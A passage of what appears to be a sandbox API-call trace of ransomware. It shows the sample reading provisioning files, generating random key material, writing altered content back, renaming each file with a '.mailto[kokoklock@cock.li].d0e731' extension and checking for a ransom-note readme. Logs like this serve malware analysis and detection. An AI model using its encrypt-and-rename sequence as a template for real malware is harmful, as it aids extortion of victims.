WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c7bfdf8*=0x6c, lpOverlapped=0x0) returned 1 [0086.359] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2c7bfdf8*=0x20, lpOverlapped=0x0) returned 1 [0086.359] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c7bfdf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c7bfdf8*=0x4, lpOverlapped=0x0) returned 1 [0086.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.359] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.359] CloseHandle (hObject=0xa30) returned 1 [0086.359] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16a) returned 0x341a7f8 [0086.359] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0086.359] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" [0086.359] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.360] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.360] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.360] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0086.360] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.360] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.361] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.361] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.361] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341af98) returned 1 [0086.361] RtlExitUserThread (Status=0x1) Thread: id = 1271 os_tid = 0xe00 [0085.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.299] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.325] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.326] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2c83f800 | out: lpFileSize=0x2c83f800*=715) returned 1 [0086.326] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.326] ReadFile (in: hFile=0xa30, lpBuffer=0x2c83f7d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x2c83f7d4*, lpNumberOfBytesRead=0x2c83f7d0*=0x4, lpOverlapped=0x0) returned 1 [0086.328] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.328] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc40 [0086.328] NtQuerySystemTime (in: CurrentTime=0x2c83f7ac | out: CurrentTime=0x2c83f7ac*=132121176442266369) returned 0x0 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xead1a443 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x7616b978 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xfc8a234d [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x351fe0c1 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xcf5073c7 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x80831391 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x95f6f6ba [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xa854fe34 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x8f4c5ff0 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xf4dc1aac [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xa1fa9a65 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xdceaead8 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x8f92a811 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x2bf7dc2b [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x77fb517b [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x5aa708c8 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xd4f730a4 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x6c9fde0b [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x3eb1d3a8 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xdfd11b34 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x45873af4 [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x8547620a [0086.328] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xaca33bb [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xfe2ac53c [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x64c1c0f5 [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x1ca605e6 [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xca541e1e [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x2aa67b09 [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x94828cc9 [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x7a50beb [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0xa75fa870 [0086.329] RtlRandom (in: Seed=0x2c83f7b8 | out: Seed=0x2c83f7b8) returned 0x79e72ff4 [0086.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbc8) returned 1 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0086.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.340] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x2c83f7ac, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c83f7ac*=0x2cb, lpOverlapped=0x0) returned 1 [0086.340] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c83f774 | out: lpNewFilePointer=0x0) returned 1 [0086.340] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cb, lpNumberOfBytesWritten=0x2c83f7a8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c83f7a8*=0x2cb, lpOverlapped=0x0) returned 1 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.340] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.340] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddcb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c83f7a4, lpOverlapped=0x0 | out: lpBuffer=0x55ddcb8*, lpNumberOfBytesWritten=0x2c83f7a4*=0x20, lpOverlapped=0x0) returned 1 [0086.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.341] WriteFile (in: hFile=0xa30, lpBuffer=0x55dddf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x55dddf8*, lpNumberOfBytesWritten=0x2c83f7d0*=0x8, lpOverlapped=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xa30, lpBuffer=0x2c83f7e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x2c83f7e8*, lpNumberOfBytesWritten=0x2c83f7d0*=0x4, lpOverlapped=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c83f7d0*=0x4, lpOverlapped=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c83f7d0*=0x6c, lpOverlapped=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddbf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x55ddbf0*, lpNumberOfBytesWritten=0x2c83f7d0*=0x20, lpOverlapped=0x0) returned 1 [0086.341] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c83f7d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c83f7d0*=0x4, lpOverlapped=0x0) returned 1 [0086.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddd0) returned 1 [0086.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dddf8) returned 1 [0086.341] CloseHandle (hObject=0xa30) returned 1 [0086.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18e) returned 0x341a7f8 [0086.342] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" [0086.342] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.342] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.343] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a7f8) returned 1 [0086.343] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.343] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a7e8 [0086.343] wcscpy (in: _Dest=0x348a7e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.343] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.343] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.343] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8e78) returned 1 [0086.343] RtlExitUserThread (Status=0x1) Thread: id = 1272 os_tid = 0x1184 [0085.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.248] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.298] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.298] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2c8bf7fc | out: lpFileSize=0x2c8bf7fc*=713) returned 1 [0086.298] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x2c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.298] ReadFile (in: hFile=0xa30, lpBuffer=0x2c8bf7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c8bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x2c8bf7d0*, lpNumberOfBytesRead=0x2c8bf7cc*=0x4, lpOverlapped=0x0) returned 1 [0086.300] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddda8 [0086.300] NtQuerySystemTime (in: CurrentTime=0x2c8bf7a8 | out: CurrentTime=0x2c8bf7a8*=132121176441954089) returned 0x0 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x41eb2640 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x1f50a04e [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xdadd7d50 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x7abc6017 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x9b130050 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x3696696a [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x4289486e [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xe13bb35b [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xfdc81d93 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x539306d2 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xe94d93f4 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x86425cb2 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xbe7f69b8 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x4e48065a [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xfa50c17a [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xf62cd664 [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xdf80642c [0086.300] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x9cc037be [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x3bc1fce [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x80309b43 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xc568d514 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xc44abed5 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x86ffbf7a [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x7bd177de [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xcb6aabc7 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x4e537829 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x6a2757be [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xaf52e9b0 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x2304419f [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x50a6c8f8 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0xa5c9d5b9 [0086.301] RtlRandom (in: Seed=0x2c8bf7b4 | out: Seed=0x2c8bf7b4) returned 0x80ea865 [0086.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.321] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.321] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, 